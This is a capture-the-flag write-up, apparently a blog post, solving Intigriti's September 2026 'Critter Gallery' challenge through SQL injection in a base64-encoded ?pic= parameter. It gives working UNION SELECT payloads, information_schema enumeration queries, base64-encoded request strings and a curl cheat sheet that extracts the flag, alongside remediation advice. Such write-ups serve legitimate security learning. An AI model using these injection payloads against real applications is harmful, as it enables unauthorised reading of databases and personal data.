October 1, 2026
๐ต๏ธโโ๏ธ How a Base64 ?pic=
TL;DR: The ?pic= parameter of the "Critter Gallery" challenge base64-decodes the input straight into a SQL query. Odd numbers of quotesโฆ

By โง โฑ โณโฃโฎMโณโฆโง
3 min read
๐ต๏ธโโ๏ธ How a Base64 ?pic= Parameter Leaked the Flag: SQL Injection in Intigriti's September Challenge
TL;DR: The ?pic= parameter of the "Critter Gallery" challenge base64-decodes the input straight into a SQL query. Odd numbers of quotes kill the page, even numbers render it โ classic string injection. A single-column UNION SELECT is reflected in the .desc element, so I enumerated critter_gallery โ secret_vault(id, note) and extracted the flag: INTIGRITI{01a09f56โฆ} ๐ฉ
๐ฏ The Challenge
Intigriti's September 2026 monthly CTF ("Challenge 0926", by khanhdlq) presents a cute little "Critter Gallery":
https://challenge-0926.challenges.intigriti.io/challenge.phphttps://challenge-0926.challenges.intigriti.io/challenge.phpEight tiles, each linking to ?pic=<base64> โ e.g. ?pic=Zm94 (fox), ?pic=cGFuZGE= (panda). Clicking a tile renders a detail card with an emoji, a name (h2), and a description (.desc).
Rules: exploit a vulnerability on the challenge page (no self-XSS, no MitM), submit the flag in INTIGRITI{.*} format plus payloads and steps.
๐ Recon: What's ?pic=?
First thing I did was decode the links.
?pic= decodes to Zm94 fox cGFuZGE= panda bGlvbg== lion
So the app takes base64, decodes it, and looks something up. My hypotheses before sending a single payload:
- H1: decoded value flows into a SQL query without a prepared statement โ test with quotes
- H2: decoded value is reflected in
h2โ test for XSS - H3: decoded value is a file path โ test for LFI/traversal
โ Discovery: The Quote Test (H1 CONFIRMED)
I base64-encoded a'b (one quote) and a''b (two quotes):
a'b -> YSdi
a''b -> YScnYg==a'b -> YSdi
a''b -> YScnYg==Result:
?pic=YSdiโ HTTP 200, SIZE 0 โ completely empty page?pic=YScnYg==โ HTTP 200, SIZE ~4089 โ normal page
Odd quotes kill the page, even quotes render it. Same with fox' (Zm94Jw== โ empty) vs fox'' (Zm94Jyc= โ normal). That's the unmistakable signature of string-based SQL injection: the decoded input is interpolated into the query, and an unbalanced ' breaks the syntax.
๐ก XSS note:
h2escapes everything โ<svg onload=alert(1)>came back as<svg onload=alert(1)>. More on the XSS negative result below.
๐ฒ Confirming Control: Dumping Every Row
Next I sent the classic boolean payload (decoded: ' OR 1=1 --, b64 JyBPUiAxPTEtLSAt):
The .desc element suddenly contained all 8 critter descriptions concatenated:
<div class="desc">The red fox is a clever, highly adaptable hunter.<br>Giant pandas spend most of the day munching bamboo.<br>Lions are the only truly social of the big cats.<br>โฆ<br></div><div class="desc">The red fox is a clever, highly adaptable hunter.<br>Giant pandas spend most of the day munching bamboo.<br>Lions are the only truly social of the big cats.<br>โฆ<br></div>The query fetches rows in a loop and prints them all โ full control over the WHERE clause confirmed. Similarly, fox' -- (commenting out the trailing quote) returned exactly the fox row.
๐ข Column Count: Exactly One
UNION probing (all base64-encoded):
' UNION SELECT 1 -- -> works, .desc shows "1"
' UNION SELECT 1,2 -- -> SIZE 0 (SQL error)
' UNION SELECT 1,2,3 -- -> SIZE 0 (SQL error)' UNION SELECT 1 -- -> works, .desc shows "1"
' UNION SELECT 1,2 -- -> SIZE 0 (SQL error)
' UNION SELECT 1,2,3 -- -> SIZE 0 (SQL error)One column, reflected raw-ish in .desc. That's all I needed for exfiltration. ๐ฏ
๐๏ธ Enumeration
' UNION SELECT @@version -- -> 8.0.46
' UNION SELECT database() -- -> critter_gallery
' UNION SELECT user() -- -> gallery@10.18.49.50' UNION SELECT @@version -- -> 8.0.46
' UNION SELECT database() -- -> critter_gallery
' UNION SELECT user() -- -> gallery@10.18.49.50Tables in critter_gallery:
' UNION SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema=database() --' UNION SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema=database() --โ animals, secret_vault
Columns (using hex literals to dodge any quote filtering):
table 0x7365637265745f7661756c74 (secret_vault) -> id, note
table 0x616e696d616c73 (animals) -> id, name, descriptiontable 0x7365637265745f7661756c74 (secret_vault) -> id, note
table 0x616e696d616c73 (animals) -> id, name, descriptionA table literally called secret_vault with a note column. You know what to do. ๐
๐ฉ The Flag
' UNION SELECT group_concat(id,0x3a,note) FROM secret_vault --' UNION SELECT group_concat(id,0x3a,note) FROM secret_vault --Base64:
JyBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGlkLDB4M2Esbm90ZSkgRlJPTSBzZWNyZXRfdmF1bHQtLSAtJyBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGlkLDB4M2Esbm90ZSkgRlJPTSBzZWNyZXRfdmF1bHQtLSAtResponse:
<div class="desc">1:INTIGRITI{01a09f56โ74a2โ700b-a849-ffe6742327b2}<br></div><div class="desc">1:INTIGRITI{01a09f56โ74a2โ700b-a849-ffe6742327b2}<br></div>Reproduced 3ร with fresh requests โ same flag every time. ๐ (For completeness, I also dumped animals: 8 rows, 1:fox:The red foxโฆ etc., matching the gallery.)
โ The XSS I Didn't Find (Negative Result)
Since the rules exclude self-XSS, I checked whether the injection could be escalated to XSS against other visitors. Answer: no. Both sinks are HTML-escaped:
h2reflects the input escaped (< โ<, > โ>, quotes โ entities).descreflects the UNION output escaped too โ I injected<b>XSS-TEST</b>and<svg onload=alert(1)>viaUNION SELECT 0x3cโฆand both came back as<b>/<svg
Output encoding holds; the intended chain is pure SQLi โ data extraction.
๐ฅ Impact
Single-column UNION-based SQL injection, unauthenticated, over GET:
- Arbitrary read of the database (any table/column reachable by the
gallery@user via UNION +group_concat) - Exfiltration of the secret flag from
secret_vault - In a real app of this shape: full table dumps (users, PII, credentials) with one request
๐ ๏ธ Remediation
- Use prepared statements (
PDO::prepare+ bound parameter) for the decoded name โ never interpolate - Validate the input: strict base64 decode + allowlist against known critter names before querying
- Return a generic error page (don't let broken queries return SIZE 0 vs full page โ the size oracle alone confirms injection)
- Apply least privilege to the SQL user (no access to non-application tables)
๐ Reproduce It (Cheat Sheet)
# 1. SQLi litmus: odd quotes = empty page, even quotes = normal page
curl -s -o /dev/null -w '%{size_download}\n' \
'https://challenge-0926.challenges.intigriti.io/challenge.php?pic=YSdi' # a'b -> 0
curl -s -o /dev/null -w '%{size_download}\n' \
'https://challenge-0926.challenges.intigriti.io/challenge.php?pic=YScnYg==' # a''b -> ~4089
# 2. Dump all rows
curl -s 'โฆ/challenge.php?pic=JyBPUiAxPTEtLSAt' | grep '<div class="desc'
# 3. Flag
curl -s 'โฆ/challenge.php?pic=JyBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGlkLDB4M2Esbm90ZSkgRlJPTSBzZWNyZXRfdmF1bHQtLSAt' \
| grep -o 'INTIGRITI{[^}]*}'# 1. SQLi litmus: odd quotes = empty page, even quotes = normal page
curl -s -o /dev/null -w '%{size_download}\n' \
'https://challenge-0926.challenges.intigriti.io/challenge.php?pic=YSdi' # a'b -> 0
curl -s -o /dev/null -w '%{size_download}\n' \
'https://challenge-0926.challenges.intigriti.io/challenge.php?pic=YScnYg==' # a''b -> ~4089
# 2. Dump all rows
curl -s 'โฆ/challenge.php?pic=JyBPUiAxPTEtLSAt' | grep '<div class="desc'
# 3. Flag
curl -s 'โฆ/challenge.php?pic=JyBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGlkLDB4M2Esbm90ZSkgRlJPTSBzZWNyZXRfdmF1bHQtLSAt' \
| grep -o 'INTIGRITI{[^}]*}'๐ง Takeaway
The app did two things that, combined, are fatal: it decoded an opaque-looking parameter (base64 gives a false sense of "not user input") and concatenated the result into SQL. The fix is boring and that's the point โ bound parameters, allowlists, generic errors. The gallery stays cute, and the vault stays shut. ๐
๐ Solved on 09/21/2026, submitted as INTIGRITI-JBV4CQ4T (Accepted โ
). Thanks to khanhdlq and the Intigriti team for the fun challenge!